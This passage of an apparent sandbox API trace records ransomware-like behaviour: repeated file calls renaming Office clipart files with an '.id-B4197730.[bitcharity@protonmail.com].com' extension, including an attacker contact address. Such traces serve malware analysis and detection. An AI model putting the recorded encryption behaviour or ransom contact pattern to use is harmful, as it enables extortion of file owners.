dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.788] CloseHandle (hObject=0x127c) returned 1 [0255.789] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.789] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313896.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313896.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.789] CloseHandle (hObject=0x127c) returned 1 [0255.791] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.791] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.791] CloseHandle (hObject=0x127c) returned 1 [0255.793] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.793] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313970.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313970.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.793] CloseHandle (hObject=0x127c) returned 1 [0255.794] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.795] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313974.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313974.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.795] CloseHandle (hObject=0x127c) returned 1 [0255.796] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.796] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.796] CloseHandle (hObject=0x127c) returned 1 [0255.797] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.798] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315580.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315580.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.798] CloseHandle (hObject=0x127c) returned 1 [0255.799] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.800] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0315612.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0315612.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.800] CloseHandle (hObject=0x127c) returned 1 [0255.800] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.801] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318448.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318448.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.801] CloseHandle (hObject=0x127c) returned 1 [0255.803] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.803] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318804.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318804.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.803] CloseHandle (hObject=0x127c) returned 1 [0255.805] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.805] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0318810.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0318810.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.805] CloseHandle (hObject=0x127c) returned 1 [0255.806] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.806] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0321179.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0321179.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.806] CloseHandle (hObject=0x127c) returned 1 [0255.807] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.807] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324694.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324694.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.808] CloseHandle (hObject=0x127c) returned 1 [0255.809] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.809] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0324704.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0324704.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.809] CloseHandle (hObject=0x127c) returned 1 [0255.810] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.810] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0337280.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.811] CloseHandle (hObject=0x127c) returned 1 [0255.812] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.812] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341328.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341328.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.814] CloseHandle (hObject=0x127c) returned 1 [0255.814] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.815] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341344.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341344.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.815] CloseHandle (hObject=0x127c) returned 1 [0255.816] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.816] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.816] CloseHandle (hObject=0x127c) returned 1 [0255.817] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.817] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.817] CloseHandle (hObject=0x127c) returned 1 [0255.818] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.818] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.818] CloseHandle (hObject=0x127c) returned 1 [0255.819] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.819] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.820] CloseHandle (hObject=0x127c) returned 1 [0255.822] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.822] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.822] CloseHandle (hObject=0x127c) returned 1 [0255.824] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.824] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.824] CloseHandle (hObject=0x127c) returned 1 [0255.826] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.826] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.826] CloseHandle (hObject=0x127c) returned 1 [0255.827] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.827] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.827] CloseHandle (hObject=0x127c) returned 1 [0255.828] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.829] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.829] CloseHandle (hObject=0x127c) returned 1 [0255.830] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.830] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.830] CloseHandle (hObject=0x127c) returned 1 [0255.831] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.832] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.832] CloseHandle (hObject=0x127c) returned 1 [0255.833] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.833] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.833] CloseHandle (hObject=0x127c) returned 1 [0255.834] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.834] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.835] CloseHandle (hObject=0x127c) returned 1 [0255.836] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.836] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.836] CloseHandle (hObject=0x127c) returned 1 [0255.838] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.838] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.838] CloseHandle (hObject=0x127c) returned 1 [0255.839] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.839] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.840] CloseHandle (hObject=0x127c) returned 1 [0255.844] SetFilePointerEx (in: hFile=0x127c, 